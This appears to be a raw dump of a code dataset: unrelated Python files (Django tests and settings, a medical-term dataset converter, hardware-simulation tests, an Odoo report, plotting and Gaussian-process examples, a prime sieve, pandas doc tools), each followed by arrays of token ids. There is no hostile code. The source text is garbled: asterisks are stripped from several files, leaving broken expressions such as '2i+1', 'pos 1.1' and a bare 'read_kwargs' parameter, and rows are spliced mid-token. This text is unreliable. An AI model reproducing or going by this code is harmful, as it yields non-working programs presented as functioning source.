978, 2433, 3057, 20779, 1495, 13, 4706, 3211, 353, 16428, 29889, 12650, 29889, 3258, 29898, 12346, 29918, 978, 2433, 29966, 5813, 29958, 742, 13, 462, 462, 308, 3211, 29918, 650, 2433, 855, 4521, 742, 13, 462, 462, 308, 4726, 2433, 29911, 776, 742, 13, 462, 462, 308, 1400, 401, 2433, 6747, 3399, 742, 13, 462, 462, 308, 4234, 29922, 13509, 29897, 13, 13, 4706, 1583, 29889, 11569, 353, 512, 14917, 29889, 12650, 29889, 3258, 29898, 1792, 29922, 4855, 29892, 3211, 29922, 7328, 29897, 13, 13, 1678, 822, 1243, 797, 14917, 1204, 29898, 1311, 1125, 13, 4706, 2437, 353, 1583, 29889, 11569, 13, 4706, 1583, 29889, 9294, 14776, 29898, 11569, 29889, 262, 14917, 29918, 333, 29892, 318, 29915, 29911, 4690, 29929, 29934, 1495, 13, 13, 4706, 2437, 29889, 262, 14917, 29918, 333, 353, 7700, 13, 4706, 2437, 29889, 7620, 580, 13, 13, 4706, 1583, 29889, 9294, 14776, 29898, 11569, 29889, 262, 14917, 29918, 333, 29892, 318, 29915, 29911, 4690, 29929, 29934, 1495, 13, 13, 1678, 822, 1243, 2577, 29928, 434, 29898, 1311, 1125, 13, 4706, 2437, 353, 1583, 29889, 11569, 13, 13, 4706, 2437, 29889, 29881, 4154, 353, 5852, 13, 4706, 2437, 29889, 7620, 580, 13, 4706, 1583, 29889, 9294, 14776, 29898, 2435, 29898, 797, 14917, 29889, 12650, 29889, 657, 29918, 29123, 25739, 29871, 29900, 29897, 13, 13, 4706, 2437, 29889, 29881, 4154, 353, 7700, 13, 4706, 2437, 29889, 7620, 580, 13, 4706, 1583, 29889, 9294, 14776, 29898, 2435, 29898, 797, 14917, 29889, 12650, 29889, 657, 29918, 29123, 25739, 29871, 29896, 29897, 13, 13, 4706, 2437, 29889, 262, 1365, 7612, 353, 5852, 13, 4706, 2437, 29889, 7620, 580, 13, 4706, 1583, 29889, 9294, 14776, 29898, 2435, 29898, 797, 14917, 29889, 12650, 29889, 657, 29918, 29123, 25739, 29871, 29900, 29897, 13, 13, 4706, 9826, 353, 12865, 29889, 1256, 29889, 27765, 580, 13, 4706, 22600, 353, 9826, 448, 12865, 29889, 9346, 287, 2554, 29898, 29896, 29897, 13, 4706, 6454, 22396, 353, 9826, 718, 12865, 29889, 9346, 287, 2554, 29898, 29896, 29897, 13, 13, 4706, 2437, 29889, 262, 1365, 7612, 353, 7700, 13, 4706, 2437, 29889, 262, 14917, 29918, 1256, 353, 22600, 13, 4706, 2437, 29889, 7620, 580, 13, 4706, 1583, 29889, 9294, 14776, 29898, 2435, 29898, 797, 14917, 29889, 12650, 29889, 657, 29918, 29123, 25739, 29871, 29896, 29897, 13, 13, 4706, 2437, 29889, 262, 14917, 29918, 1256, 353, 6454, 22396, 13, 4706, 2437, 29889, 7620, 580, 13, 4706, 1583, 29889, 9294, 14776, 29898, 2435, 29898, 797, 14917, 29889, 12650, 29889, 657, 29918, 29123, 25739, 29871, 29900, 29897, 13, 2 ]
mednorm/datasets/base.py	mbelousov/MedNorm-corpus	11	1607213	import os import pandas as pd class DatasetConverter(object): def __init__(self, dataset_path, dataset_name=None): self.dataset_path = dataset_path if dataset_name is None: self.dataset_name = os.path.basename(dataset_path).upper() else: self.dataset_name = dataset_name def convert_lines(self): raise NotImplementedError("not implemented.") def construct_line(self, item_id, phrase, meddra_code='', sct_id='', umls_cui=''): return (self.dataset_name, item_id, phrase, meddra_code, sct_id, umls_cui) def _padded_print(self, message, padding): print("%s%s" % (padding, message)) def print_stats(self, padding=''): print("") class CsvDatasetConverter(DatasetConverter): def __init__(self, dataset_path, dataset_name=None, item_id_col=0, input_col=1, target_col=2, target_term='meddra_code', sep=',', read_kwargs): super(CsvDatasetConverter, self).__init__(dataset_path, dataset_name) self.input_col = input_col self.item_id_col = item_id_col self.target_col = target_col self.target_term = target_term self.sep = sep self.read_kwargs = read_kwargs def convert_lines(self): df = pd.read_csv(self.dataset_path, sep=self.sep, dtype='str', self.read_kwargs) lines = [] if self.item_id_col is None: collection = zip(df.index, df[df.columns[self.input_col]].values, df[df.columns[self.target_col]].values) else: collection = zip(df[df.columns[self.item_id_col]].values, df[df.columns[self.input_col]].values, df[df.columns[self.target_col]].values) for item_id, phrase, target in collection: line_params = {'item_id': item_id, 'phrase': phrase, self.target_term: target} lines.append(self.construct_line(**line_params)) return lines	[ 1, 1053, 2897, 13, 13, 5215, 11701, 408, 10518, 13, 13, 13, 1990, 13373, 24541, 18545, 29898, 3318, 1125, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 8783, 29918, 2084, 29892, 8783, 29918, 978, 29922, 8516, 1125, 13, 4706, 1583, 29889, 24713, 29918, 2084, 353, 8783, 29918, 2084, 13, 4706, 565, 8783, 29918, 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pyfitnesspal/settings.py	gord1anknot/pyfitnesspal	2	147540	<reponame>gord1anknot/pyfitnesspal # Copyright 2015 <NAME> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Django settings for pyfitnesspal project. For more information on this file, see https://docs.djangoproject.com/en/1.7/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.7/ref/settings/ """ # Build paths inside the project like this: os.path.join(BASE_DIR, ...) import os BASE_DIR = os.path.dirname(os.path.dirname(__file__)) SECRET_KEY = os.environ['SECRET_KEY'] if 'DJANGO_ENV' in os.environ and\ os.environ['DJANGO_ENV'].lower().startswith('prod'): DEBUG = False TEMPLATE_DEBUG = False ALLOWED_HOSTS = [] else: DEBUG = True TEMPLATE_DEBUG = True ALLOWED_HOSTS = [] INSTALLED_APPS = ( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'main', 'crispy_forms', ) MIDDLEWARE_CLASSES = ( 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.auth.middleware.SessionAuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ) ROOT_URLCONF = 'pyfitnesspal.urls' WSGI_APPLICATION = 'pyfitnesspal.wsgi.application' # Internationalization # https://docs.djangoproject.com/en/1.7/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Database # https://docs.djangoproject.com/en/1.7/ref/settings/#databases DATABASES = {} # Parse database configuration from $DATABASE_URL import dj_database_url DATABASES['default'] = dj_database_url.config() # This does a test to see which db is in use, as sqlite3 # might be used locally during development. # Enable Connection Pooling (if desired) # if 'ENGINE' in DATABASES['default'] and \ # DATABASES['default']['ENGINE'] == \ # 'django.db.backends.postgresql_psycopg2': # DATABASES['default']['ENGINE'] = 'django_postgrespool' # Honor the 'X-Forwarded-Proto' header for request.is_secure() SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https') # Heroku Django config snippet: allow all host headers ALLOWED_HOSTS = ['*'] # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.7/howto/static-files/ # Static asset configuration STATIC_ROOT = 'staticfiles' STATIC_URL = '/static/' STATICFILES_DIRS = ( # Commercial libraries not available on GitHub or via Bower # could go into 'libraries' os.path.join(BASE_DIR, 'static/libraries'), # Custom frontend assets in css/js subfolders os.path.join(BASE_DIR, 'static/custom'), # Bower controlled assets os.path.join(BASE_DIR, 'static/bower_components'), ) STATICFILES_STORAGE = 'whitenoise.django.GzipManifestStaticFilesStorage' TEMPLATE_DIRS = ( os.path.join(BASE_DIR, 'templates'), ) LOGIN_REDIRECT_URL = 'pyfitnesspal_home' LOGIN_URL = 'pyfitnesspal_login' LOGOUT_URL = 'pyfitnesspal_logout' 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pymtl3/passes/rtlir/behavioral/test/BehavioralRTLIRL4Pass_test.py	hsqforfun/pymtl3	1	24323	<filename>pymtl3/passes/rtlir/behavioral/test/BehavioralRTLIRL4Pass_test.py #========================================================================= # BehavioralRTLIRL4Pass_test.py #========================================================================= # Author : <NAME> # Date : Feb 2, 2019 """Test the level 4 behavioral RTLIR passes. The L4 generation, L4 type check, and visualization passes are invoked. The generation pass results are verified against a reference AST. """ import pytest from pymtl3.datatypes import Bits32 from pymtl3.dsl import Component, Interface, OutPort from pymtl3.dsl.errors import VarNotDeclaredError from pymtl3.passes.rtlir.behavioral.BehavioralRTLIR import * from pymtl3.passes.rtlir.behavioral.BehavioralRTLIRGenL4Pass import ( BehavioralRTLIRGenL4Pass, ) from pymtl3.passes.rtlir.behavioral.BehavioralRTLIRTypeCheckL4Pass import ( BehavioralRTLIRTypeCheckL4Pass, ) from pymtl3.passes.rtlir.behavioral.BehavioralRTLIRVisualizationPass import ( BehavioralRTLIRVisualizationPass, ) from pymtl3.passes.rtlir.errors import PyMTLSyntaxError, PyMTLTypeError from pymtl3.passes.rtlir.util.test_utility import do_test, expected_failure def local_do_test( m ): """Check if generated behavioral RTLIR is the same as reference.""" m.elaborate() m.apply( BehavioralRTLIRGenL4Pass() ) m.apply( BehavioralRTLIRTypeCheckL4Pass() ) m.apply( BehavioralRTLIRVisualizationPass() ) try: ref = m._rtlir_test_ref for blk in m.get_update_blocks(): upblk = m._pass_behavioral_rtlir_gen.rtlir_upblks[ blk ] assert upblk == ref[ blk.__name__ ] except AttributeError: pass #------------------------------------------------------------------------- # Correct test cases #------------------------------------------------------------------------- def test_L4_interface_attr( do_test ): class Ifc( Interface ): def construct( s ): s.foo = OutPort( Bits32 ) class A( Component ): def construct( s ): s.in_ = Ifc() s.out = OutPort( Bits32 ) @s.update def upblk(): s.out = s.in_.foo a = A() a._rtlir_test_ref = { 'upblk' : CombUpblk( 'upblk', [ Assign( Attribute( Base( a ), 'out' ), Attribute( Attribute( Base( a ), 'in_' ), 'foo' ), True ) ] ) } do_test( a ) def test_L4_interface_array_index( do_test ): class Ifc( Interface ): def construct( s ): s.foo = OutPort( Bits32 ) class A( Component ): def construct( s ): s.in_ = [ Ifc() for _ in range(4) ] s.out = OutPort( Bits32 ) @s.update def upblk(): s.out = s.in_[2].foo a = A() a._rtlir_test_ref = { 'upblk' : CombUpblk( 'upblk', [ Assign( Attribute( Base( a ), 'out' ), Attribute( Index( Attribute( Base( a ), 'in_' ), Number(2) ), 'foo' ), True ) ] ) } do_test( a ) #------------------------------------------------------------------------- # PyMTL type errors #------------------------------------------------------------------------- def test_L4_interface_no_field( do_test ): class Ifc( Interface ): def construct( s ): s.foo = OutPort( Bits32 ) class A( Component ): def construct( s ): s.in_ = Ifc() s.out = OutPort( Bits32 ) @s.update def upblk(): s.out = s.in_.bar with expected_failure( VarNotDeclaredError, 's.in_ does not have field "bar"' ): do_test( A() )	[ 1, 529, 9507, 29958, 29886, 962, 15206, 29941, 29914, 3364, 267, 29914, 2273, 29880, 381, 29914, 915, 16300, 284, 29914, 1688, 29914, 28100, 284, 13079, 5265, 2241, 29946, 7129, 29918, 1688, 29889, 2272, 13, 29937, 9166, 9166, 9166, 9166, 4936, 29922, 13, 29937, 1522, 16300, 284, 13079, 5265, 2241, 29946, 7129, 29918, 1688, 29889, 2272, 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myblog/apps.py	HaibaraAi123/DjangoBlog-chenfeng123.cn	1	161007	from django.apps import AppConfig class Newapp1Config(AppConfig): name = 'myblog'	[ 1, 515, 9557, 29889, 13371, 1053, 2401, 3991, 13, 13, 13, 1990, 1570, 932, 29896, 3991, 29898, 2052, 3991, 1125, 13, 1678, 1024, 353, 525, 1357, 7312, 29915, 13, 2 ]
odoo/custom/src/private/nxpo_budget_revision_monitoring_project/report/budget_monitor_revision_report.py	Saran440/nxpo	0	28140	<reponame>Saran440/nxpo<filename>odoo/custom/src/private/nxpo_budget_revision_monitoring_project/report/budget_monitor_revision_report.py # Copyright 2020 Ecosoft Co., Ltd. (http://ecosoft.co.th) # License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). from odoo import fields, models class BudgetMonitorRevisionReport(models.Model): _inherit = "budget.monitor.revision.report" project_id = fields.Many2one(comodel_name="res.project") def _select_budget(self): select_budget_query = super()._select_budget() select_budget_query = ",".join([select_budget_query, "aa.project_id"]) return select_budget_query	[ 1, 529, 276, 1112, 420, 29958, 29903, 23029, 29946, 29946, 29900, 29914, 23818, 1129, 29966, 9507, 29958, 397, 3634, 29914, 6341, 29914, 4351, 29914, 9053, 29914, 23818, 1129, 29918, 15841, 657, 29918, 276, 4924, 29918, 3712, 2105, 292, 29918, 4836, 29914, 12276, 29914, 15841, 657, 29918, 3712, 2105, 29918, 276, 4924, 29918, 12276, 29889, 2272, 13, 29937, 14187, 1266, 29871, 29906, 29900, 29906, 29900, 382, 3944, 29877, 615, 3189, 1696, 19806, 29889, 313, 1124, 597, 687, 9064, 615, 29889, 1111, 29889, 386, 29897, 13, 29937, 19245, 16369, 7390, 29899, 29941, 29889, 29900, 470, 2678, 313, 1124, 597, 1636, 29889, 18713, 29889, 990, 29914, 506, 11259, 29914, 351, 572, 467, 13, 13, 3166, 288, 1867, 29877, 1053, 4235, 29892, 4733, 13, 13, 13, 1990, 7038, 657, 7185, 2105, 1123, 4924, 13020, 29898, 9794, 29889, 3195, 1125, 13, 1678, 903, 262, 27069, 353, 376, 15841, 657, 29889, 3712, 2105, 29889, 276, 4924, 29889, 12276, 29908, 13, 13, 1678, 2060, 29918, 333, 353, 4235, 29889, 14804, 29906, 650, 29898, 510, 27224, 29918, 978, 543, 690, 29889, 4836, 1159, 13, 13, 1678, 822, 903, 2622, 29918, 15841, 657, 29898, 1311, 1125, 13, 4706, 1831, 29918, 15841, 657, 29918, 1972, 353, 2428, 2141, 29918, 2622, 29918, 15841, 657, 580, 13, 4706, 1831, 29918, 15841, 657, 29918, 1972, 353, 9162, 1642, 7122, 4197, 2622, 29918, 15841, 657, 29918, 1972, 29892, 376, 7340, 29889, 4836, 29918, 333, 20068, 13, 4706, 736, 1831, 29918, 15841, 657, 29918, 1972, 13, 2 ]
hyperaxis.py	wngu6/tourpy	0	1612338	""" A visual class containing multiple axes. """ import numpy as np from vispy.visuals import CompoundVisual, LineVisual, TextVisual class HyperAxisVisual(CompoundVisual): def __init__(self, pos, color="black", labels=None): self.pos = np.zeros((pos.shape[0]2, 3)) for i in range(pos.shape[0]): self.pos[2i+1] = pos[i] self._lines = LineVisual(pos=self.pos, method="gl", color=color, connect="segments", antialias=True) self._text = TextVisual(text=labels, color=color, bold=True, italic=True, pos=pos * 1.1, font_size=14, method="gpu") CompoundVisual.__init__(self, [self._lines, self._text]) def set_data(self, pos): for i in range(pos.shape[0]): self.pos[2i+1] = pos[i] self._lines.set_data(pos=self.pos) self._text.pos = pos 1.1 self._text.update()	[ 1, 9995, 13, 29909, 7604, 770, 6943, 2999, 27815, 29889, 13, 15945, 29908, 13, 13, 5215, 12655, 408, 7442, 13, 3166, 1998, 2272, 29889, 20119, 29879, 1053, 3831, 618, 16227, 29892, 7407, 16227, 29892, 3992, 16227, 13, 13, 1990, 26078, 16070, 16227, 29898, 6843, 618, 16227, 1125, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 926, 29892, 2927, 543, 8517, 613, 11073, 29922, 8516, 1125, 13, 13, 4706, 1583, 29889, 1066, 353, 7442, 29889, 3298, 359, 3552, 1066, 29889, 12181, 29961, 29900, 14178, 29906, 29892, 29871, 29941, 876, 13, 4706, 363, 474, 297, 3464, 29898, 1066, 29889, 12181, 29961, 29900, 29962, 1125, 13, 9651, 1583, 29889, 1066, 29961, 29906, 29930, 29875, 29974, 29896, 29962, 353, 926, 29961, 29875, 29962, 13, 13, 4706, 1583, 3032, 9012, 353, 7407, 16227, 29898, 1066, 29922, 1311, 29889, 1066, 29892, 1158, 543, 3820, 613, 2927, 29922, 2780, 29892, 4511, 543, 10199, 1860, 613, 3677, 616, 3173, 29922, 5574, 29897, 13, 4706, 1583, 3032, 726, 353, 3992, 16227, 29898, 726, 29922, 21134, 29892, 2927, 29922, 2780, 29892, 14288, 29922, 5574, 29892, 4698, 293, 29922, 5574, 29892, 926, 29922, 1066, 334, 29871, 29896, 29889, 29896, 29892, 4079, 29918, 2311, 29922, 29896, 29946, 29892, 1158, 543, 29887, 3746, 1159, 13, 13, 4706, 3831, 618, 16227, 17255, 2344, 12035, 1311, 29892, 518, 1311, 3032, 9012, 29892, 1583, 3032, 726, 2314, 13, 13, 1678, 822, 731, 29918, 1272, 29898, 1311, 29892, 926, 1125, 13, 4706, 363, 474, 297, 3464, 29898, 1066, 29889, 12181, 29961, 29900, 29962, 1125, 13, 9651, 1583, 29889, 1066, 29961, 29906, 29930, 29875, 29974, 29896, 29962, 353, 926, 29961, 29875, 29962, 13, 4706, 1583, 3032, 9012, 29889, 842, 29918, 1272, 29898, 1066, 29922, 1311, 29889, 1066, 29897, 13, 4706, 1583, 3032, 726, 29889, 1066, 353, 926, 334, 29871, 29896, 29889, 29896, 13, 4706, 1583, 3032, 726, 29889, 5504, 580, 13, 2 ]
example.py	wesselb/gparolmm	1	151177	<filename>example.py from collections import namedtuple import numpy as np import lab as B import matplotlib.pyplot as plt import torch import wbml.out import wbml.plot from gpar import GPARRegressor from matrix import Dense from varz import parametrised, Unbounded, Positive from varz.torch import minimise_l_bfgs_b def Model(kw_args): return namedtuple('Model', kw_args.keys())(kw_args) # Model parameters: p = 16 m = 4 gpar = GPARRegressor(replace=True, impute=False, noise=0.05, normalise_y=False, linear=False, nonlinear=True) vs = gpar.vs m_true = m # True number of latent processes. # Sample some test data. n = 200 x = B.linspace(0, 30, n) y = gpar.sample(x, w=B.ones(n, m_true), p=m_true) @ B.randn(m_true, p) # Add noise to the test data. noise = 0.05 y = y + noise ** .5 * B.randn(B.shape(y)) # Split data. n_split = 100 inds1_n = B.range(0, n_split) inds2_n = B.range(n_split, n) n1 = len(inds1_n) n2 = len(inds2_n) inds2_p = B.range(p - m, p) p1 = p p2 = len(inds2_p) def _pinv(h): return B.cholsolve(B.dense(B.chol(Dense(h.T @ h))), B.dense(h.T)) def _inv(a): return B.cholsolve(B.dense(B.chol(Dense(a))), B.eye(a)) @parametrised def build(vs, h: Unbounded(shape=(p, m)), noise: Positive = 0.05): """Build model.""" wbml.out.kv('Noise', noise) x_train = torch.tensor(x) y_train = Dense(torch.tensor(y)) u = B.svd(h)[0] pinv = _pinv(h) x_train1 = x_train[inds1_n] y_train1 = y_train[inds1_n] proj1 = y_train1 @ pinv.T proj1_orth = y_train1 - proj1 @ h.T x_train2 = x_train[inds2_n] y_train2 = y_train[inds2_n][:, inds2_p] h2 = h[inds2_p] u2 = u[inds2_p] proj2 = y_train2 @ (pinv @ u @ _pinv(u2)).T proj2_orth = y_train2 - y_train2 @ (h2 @ _pinv(h2)).T # Check spectral gap for debugging. vals = B.svd(u2.T @ u2)[1] wbml.out.kv('Spectral gap', vals[0] - vals[-1]) # Determine weights. cov_missing = noise (_inv(h2.T @ h2) - _inv(h.T @ h)) lat_noises = B.concat([vs[f'{i}/noise'][None] for i in range(m)]) weights = lat_noises / (lat_noises + B.diag(cov_missing)) wbml.out.kv('Weights', weights) # Convert to weights for all data. dtype = B.dtype(weights) weights = B.concat(B.ones(dtype, n1, m), B.ones(dtype, n2, m) weights[None, :], axis=0) return Model(x_train=x_train, y_train=y_train, h=h, noise=noise, x_train1=x_train1, y_train1=y_train1, proj1=proj1, proj1_orth=proj1_orth, x_train2=x_train2, y_train2=y_train2, proj2=proj2, proj2_orth=proj2_orth, u2=u2, proj=B.concat(proj1, proj2, axis=0), weights=weights) def nlml(vs): """Compute the negative LML.""" model = build(vs) # Construct regulariser. logdet = n * B.logdet(Dense(model.h.T @ model.h)) + \ n2 * B.logdet(Dense(model.u2.T @ model.u2)) lognoise = (n1 * (p1 - m) + n2 * (p2 - m)) * B.log(2 * B.pi * model.noise) logfrob = (B.sum(model.proj1_orth 2) + B.sum(model.proj2_orth 2)) / model.noise reg = 0.5 * (logdet + lognoise + logfrob) + \ 1e-4 * B.sum((1 / model.weights) ** 2) gpar.vs = vs return -gpar.logpdf(model.x_train, model.proj, model.weights) + reg def predict(vs, x, num_samples=100): """Predict by sampling.""" model = build(vs) h = B.to_numpy(model.h) weights = B.to_numpy(model.weights) # Condition GPAR and sample from the posterior. gpar.vs = vs gpar.condition(B.to_numpy(model.x_train), B.to_numpy(model.proj), weights) samples = gpar.sample(x, weights, num_samples=num_samples, posterior=True) # Compute empirical mean and error bars for predictions of latents. samples_lat = B.stack(samples, axis=0) mean_lat = B.mean(samples_lat, axis=0) err_lat = 2 B.std(samples_lat, axis=0) # Transform to observation space. samples = B.stack([sample @ h.T for sample in samples], axis=0) # Compute empirical mean and error bars for predictions in observation # space. mean = B.mean(samples, axis=0) err = 2 B.std(samples, axis=0) return ((mean_lat, mean_lat - err_lat, mean_lat + err_lat), (mean, mean - err, mean + err)) # Perform training. with wbml.out.Section('Before training'): wbml.out.kv('NLML', nlml(vs)) vs.print() minimise_l_bfgs_b(nlml, vs, trace=True, iters=1000) with wbml.out.Section('After training'): wbml.out.kv('NLML', nlml(vs)) vs.print() # Perform prediction. with wbml.out.Section('Predicting'): ((mean_lat, lower_lat, upper_lat), (mean, lower, upper)) = predict(vs, x) # Plot predictions for latent processes. plt.figure(figsize=(12, 8)) num = int(np.ceil(m ** .5)) obs_lat = B.to_numpy(build(vs).proj) for i in range(min(m, num * num)): plt.subplot(num, num, i + 1) plt.scatter(x, obs_lat[:, i], label='Observations', c='black') plt.plot(x, mean_lat[:, i], label='Prediction', c='tab:blue') plt.plot(x, lower_lat[:, i], c='tab:blue', ls='--') plt.plot(x, upper_lat[:, i], c='tab:blue', ls='--') wbml.plot.tweak(legend=False) # Plot predictions. plt.figure(figsize=(12, 8)) num = int(np.ceil(p ** .5)) for i in range(min(p, num * num)): plt.subplot(num, num, i + 1) plt.scatter(x[inds1_n], y[inds1_n, i], label='Observations', c='black') if i in inds2_p: plt.scatter(x[inds2_n], y[inds2_n, i], label='Observations', c='black') else: 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334, 350, 29889, 4172, 29898, 27736, 29892, 9685, 29922, 29900, 29897, 13, 13, 1678, 736, 5135, 12676, 29918, 5066, 29892, 2099, 29918, 5066, 448, 4589, 29918, 5066, 29892, 2099, 29918, 5066, 718, 4589, 29918, 5066, 511, 13, 9651, 313, 12676, 29892, 2099, 448, 4589, 29892, 2099, 718, 4589, 876, 13, 13, 13, 29937, 27313, 6694, 29889, 13, 2541, 281, 29890, 828, 29889, 449, 29889, 13438, 877, 18743, 6694, 29374, 13, 1678, 281, 29890, 828, 29889, 449, 29889, 27049, 877, 25103, 1988, 742, 302, 29880, 828, 29898, 4270, 876, 13, 1678, 7186, 29889, 2158, 580, 13, 1195, 326, 895, 29918, 29880, 29918, 1635, 3174, 29918, 29890, 29898, 12938, 828, 29892, 7186, 29892, 9637, 29922, 5574, 29892, 372, 414, 29922, 29896, 29900, 29900, 29900, 29897, 13, 2541, 281, 29890, 828, 29889, 449, 29889, 13438, 877, 13555, 6694, 29374, 13, 1678, 281, 29890, 828, 29889, 449, 29889, 27049, 877, 25103, 1988, 742, 302, 29880, 828, 29898, 4270, 876, 13, 1678, 7186, 29889, 2158, 580, 13, 13, 29937, 27313, 18988, 29889, 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742, 19375, 2433, 489, 1495, 13, 1678, 281, 29890, 828, 29889, 5317, 29889, 29873, 25129, 29898, 26172, 29922, 8824, 29897, 13, 13, 572, 29873, 29889, 4294, 580, 13, 2 ]
001-100/10/10-sieve.py	junwei-wang/project-euler	0	157292	<filename>001-100/10/10-sieve.py #!/usr/bin/env python # -- coding: utf-8 -- from math import sqrt, ceil num = 2000000 sevie = [True] * num # 0, 1, 2, 3, ..., 1999999 sevie[0] = False sevie[1] = False for i in range(3, num): if i & 1 == 0: sevie[i] = False # a number has at most one factor than its squre sqr = int(ceil(sqrt(num))) for i in range(3, sqr): if sevie[i]: # start from the prime multiple: 3i with step: 2i for j in range(3i, num, 2i): sevie[j] = False sum = 0 for idx, val in enumerate(sevie): if val: sum += idx print sum	[ 1, 529, 9507, 29958, 29900, 29900, 29896, 29899, 29896, 29900, 29900, 29914, 29896, 29900, 29914, 29896, 29900, 29899, 29879, 2418, 29889, 2272, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 13, 29937, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 3166, 5844, 1053, 18074, 2273, 29892, 2257, 309, 13, 13, 1949, 353, 29871, 29906, 29900, 29900, 29900, 29900, 29900, 29900, 13, 344, 25965, 353, 518, 5574, 29962, 334, 954, 396, 29871, 29900, 29892, 29871, 29896, 29892, 29871, 29906, 29892, 29871, 29941, 29892, 2023, 29892, 29871, 29896, 29929, 29929, 29929, 29929, 29929, 29929, 13, 13, 344, 25965, 29961, 29900, 29962, 353, 7700, 13, 344, 25965, 29961, 29896, 29962, 353, 7700, 13, 1454, 474, 297, 3464, 29898, 29941, 29892, 954, 1125, 13, 1678, 565, 474, 669, 29871, 29896, 1275, 29871, 29900, 29901, 13, 4706, 409, 25965, 29961, 29875, 29962, 353, 7700, 13, 13, 29937, 263, 1353, 756, 472, 1556, 697, 7329, 1135, 967, 10674, 276, 13, 3044, 29878, 353, 938, 29898, 27696, 29898, 3676, 29898, 1949, 4961, 13, 1454, 474, 297, 3464, 29898, 29941, 29892, 18074, 29878, 1125, 13, 1678, 565, 409, 25965, 29961, 29875, 5387, 13, 4706, 396, 1369, 515, 278, 6019, 2999, 29901, 29871, 29941, 29875, 411, 4331, 29901, 29871, 29906, 29875, 13, 4706, 363, 432, 297, 3464, 29898, 29941, 29930, 29875, 29892, 954, 29892, 29871, 29906, 29930, 29875, 1125, 13, 9651, 409, 25965, 29961, 29926, 29962, 353, 7700, 13, 13, 2083, 353, 29871, 29900, 13, 1454, 22645, 29892, 659, 297, 26985, 29898, 344, 25965, 1125, 13, 1678, 565, 659, 29901, 13, 4706, 2533, 4619, 22645, 13, 13, 2158, 2533, 13, 2 ]
PythonAPI/carissma_project/lib/python3.5/site-packages/pandas/util/_doctools.py	AbdulHoffmann/carla_carissma	6,989	135472	import numpy as np import pandas.compat as compat import pandas as pd class TablePlotter(object): """ Layout some DataFrames in vertical/horizontal layout for explanation. Used in merging.rst """ def __init__(self, cell_width=0.37, cell_height=0.25, font_size=7.5): self.cell_width = cell_width self.cell_height = cell_height self.font_size = font_size def _shape(self, df): """ Calculate table chape considering index levels. """ row, col = df.shape return row + df.columns.nlevels, col + df.index.nlevels def _get_cells(self, left, right, vertical): """ Calculate appropriate figure size based on left and right data. """ if vertical: # calculate required number of cells vcells = max(sum(self._shape(l)[0] for l in left), self._shape(right)[0]) hcells = (max(self._shape(l)[1] for l in left) + self._shape(right)[1]) else: vcells = max([self._shape(l)[0] for l in left] + [self._shape(right)[0]]) hcells = sum([self._shape(l)[1] for l in left] + [self._shape(right)[1]]) return hcells, vcells def plot(self, left, right, labels=None, vertical=True): """ Plot left / right DataFrames in specified layout. Parameters ---------- left : list of DataFrames before operation is applied right : DataFrame of operation result labels : list of str to be drawn as titles of left DataFrames vertical : bool If True, use vertical layout. If False, use horizontal layout. """ import matplotlib.pyplot as plt import matplotlib.gridspec as gridspec if not isinstance(left, list): left = [left] left = [self._conv(l) for l in left] right = self._conv(right) hcells, vcells = self._get_cells(left, right, vertical) if vertical: figsize = self.cell_width * hcells, self.cell_height * vcells else: # include margin for titles figsize = self.cell_width * hcells, self.cell_height * vcells fig = plt.figure(figsize=figsize) if vertical: gs = gridspec.GridSpec(len(left), hcells) # left max_left_cols = max(self._shape(l)[1] for l in left) max_left_rows = max(self._shape(l)[0] for l in left) for i, (l, label) in enumerate(zip(left, labels)): ax = fig.add_subplot(gs[i, 0:max_left_cols]) self._make_table(ax, l, title=label, height=1.0 / max_left_rows) # right ax = plt.subplot(gs[:, max_left_cols:]) self._make_table(ax, right, title='Result', height=1.05 / vcells) fig.subplots_adjust(top=0.9, bottom=0.05, left=0.05, right=0.95) else: max_rows = max(self._shape(df)[0] for df in left + [right]) height = 1.0 / np.max(max_rows) gs = gridspec.GridSpec(1, hcells) # left i = 0 for l, label in zip(left, labels): sp = self._shape(l) ax = fig.add_subplot(gs[0, i:i + sp[1]]) self._make_table(ax, l, title=label, height=height) i += sp[1] # right ax = plt.subplot(gs[0, i:]) self._make_table(ax, right, title='Result', height=height) fig.subplots_adjust(top=0.85, bottom=0.05, left=0.05, right=0.95) return fig def _conv(self, data): """Convert each input to appropriate for table outplot""" if isinstance(data, pd.Series): if data.name is None: data = data.to_frame(name='') else: data = data.to_frame() data = data.fillna('NaN') return data def _insert_index(self, data): # insert is destructive data = data.copy() idx_nlevels = data.index.nlevels if idx_nlevels == 1: data.insert(0, 'Index', data.index) else: for i in range(idx_nlevels): data.insert(i, 'Index{0}'.format(i), data.index._get_level_values(i)) col_nlevels = data.columns.nlevels if col_nlevels > 1: col = data.columns._get_level_values(0) values = [data.columns._get_level_values(i).values for i in range(1, col_nlevels)] col_df = pd.DataFrame(values) data.columns = col_df.columns data = pd.concat([col_df, data]) data.columns = col return data def _make_table(self, ax, df, title, height=None): if df is None: ax.set_visible(False) return import pandas.plotting as plotting idx_nlevels = df.index.nlevels col_nlevels = df.columns.nlevels # must be convert here to get index levels for colorization df = self._insert_index(df) tb = plotting.table(ax, df, loc=9) tb.set_fontsize(self.font_size) if height is None: height = 1.0 / 